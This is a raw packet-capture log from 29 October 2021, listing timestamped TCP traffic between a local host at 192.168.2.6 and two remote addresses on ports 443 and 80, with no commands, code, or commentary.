Oct 29, 2021 17:55:36.870873928 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.870897055 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.870915890 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.870937109 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.871334076 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.871340990 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.871448040 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.871495008 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.871534109 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.871541977 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.871547937 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.871594906 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.871598959 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.871640921 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.871669054 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.871675014 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.871709108 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.871731997 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.871737003 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.871776104 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.871788979 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.871795893 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.871848106 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.871856928 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.871864080 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.871913910 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.871918917 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.871932030 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.871992111 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.871997118 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.872138023 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.872189045 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.872190952 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.872204065 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.872248888 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.872255087 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.872303009 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.872340918 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.872376919 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.872390032 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.872396946 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.872417927 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.872435093 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.872472048 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.872507095 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.872510910 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.872518063 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.872549057 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.872628927 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.872669935 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.872678041 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.872683048 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.872723103 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.872728109 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.872760057 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.872802973 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.872843981 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.872860909 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.872874975 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.872935057 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.872940063 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.888571978 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.888636112 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.888660908 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.888680935 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.888693094 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.888699055 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.888751984 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.888758898 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.888809919 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.889117002 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.889180899 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.889235020 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.889298916 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.889300108 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.889313936 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.889354944 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.889367104 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.889415026 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.889422894 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.889436960 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.889484882 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.889491081 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.889503002 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.889539003 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.889545918 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.889563084 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.889569044 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.889597893 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.905884027 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.905992985 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.906012058 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.906034946 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.906100988 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.906106949 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.906162977 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.906229973 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.906238079 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.906287909 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.906346083 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.906351089 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.906400919 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.906459093 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.906464100 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.906511068 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.906565905 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.906572104 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.906621933 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.906677961 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.906682968 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.906728983 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.906785011 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.906790018 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.906841993 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.906902075 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.906907082 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.907047033 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.907109976 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.907115936 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.907159090 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.907221079 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.907226086 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.908502102 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.920638084 CEST	49838	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:36.922580957 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.922669888 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.922712088 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.922785997 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.922807932 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.922884941 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.923017025 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.923091888 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.923119068 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.923181057 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.923223972 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.923290014 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.923336029 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.923459053 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.923504114 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.923512936 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.923548937 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.923568010 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.923572063 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.923603058 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.923629999 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.923703909 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.923762083 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.923768997 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.923825026 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.923887014 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.923893929 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.923959970 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.924021006 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.924027920 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.924084902 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.924140930 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.924146891 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.924196959 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.924254894 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.924261093 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.924309015 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.924370050 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.924377918 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.924421072 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.924479008 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.924484968 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.924530029 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.924587011 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.924592972 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.924628019 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.924685001 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.924690962 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.924922943 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.924990892 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.925012112 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.925019979 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.925033092 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.925065994 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.925127029 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.925209045 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.939734936 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.939836025 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.939871073 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.939893961 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.939923048 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.939945936 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.940032959 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.940108061 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.940123081 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.940128088 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.940206051 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.940227985 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.940321922 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.940335989 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.940418959 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.941070080 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.941164017 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.941179037 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.941184998 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.941221952 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.941250086 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.941375017 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.941459894 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.941467047 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.941493034 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.941536903 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.941711903 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.941792965 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.941798925 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.941823959 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.941904068 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.941910028 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.941973925 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.942048073 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.942054987 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.942071915 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.942137957 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.942143917 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.942181110 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.942235947 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.942240953 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.942303896 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.942356110 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.943032980 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.974169970 CEST	80	49838	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:36.974312067 CEST	49838	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:36.974432945 CEST	49838	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:36.974464893 CEST	49838	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.057107925 CEST	80	49838	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.058860064 CEST	49838	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.059314013 CEST	49838	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.094455004 CEST	49839	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.113727093 CEST	80	49838	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.146348953 CEST	80	49839	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.146497965 CEST	49839	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.146631956 CEST	49839	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.146651030 CEST	49839	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.198451996 CEST	80	49839	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.227509975 CEST	80	49839	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.227530956 CEST	80	49839	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.227616072 CEST	49839	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.227904081 CEST	49839	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.279690981 CEST	80	49839	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.281174898 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.332551956 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.334223032 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.336242914 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.429791927 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.472958088 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.472995043 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.473021030 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.473046064 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.473074913 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.473078966 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.473098040 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.473119974 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.473145962 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.473150015 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.473176003 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.473189116 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.473205090 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.473231077 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.473256111 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.526879072 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.526906967 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.526923895 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.526941061 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.526957989 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.526974916 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.526976109 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.526992083 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.527009010 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.527025938 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.527043104 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.527046919 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.527060032 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.527076960 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.527080059 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.527093887 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.527118921 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.527126074 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.527137041 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.527153969 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.527179003 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.527210951 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.527360916 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.527407885 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.527425051 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.527466059 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.578336000 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.578367949 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.578383923 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.578401089 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.578418016 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.578434944 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.578452110 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.578459978 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.578469992 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.578485966 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.578504086 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.578516006 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.578520060 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.578537941 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.578553915 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.578557968 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.578569889 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.578579903 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.578607082 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.578622103 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.578639984 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.578659058 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.578686953 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.578704119 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.578713894 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.578754902 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.629717112 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.629746914 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.629764080 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.629782915 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.629798889 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.629817009 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.629817963 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.629847050 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.629848003 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.629868031 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.629898071 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.629920006 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.629936934 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.629940033 CEST	49840	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:37.629955053 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.629972935 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.629988909 CEST	80	49840	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:37.629997969 CEST	49840	80	192.168.2.6	185.98.87.159
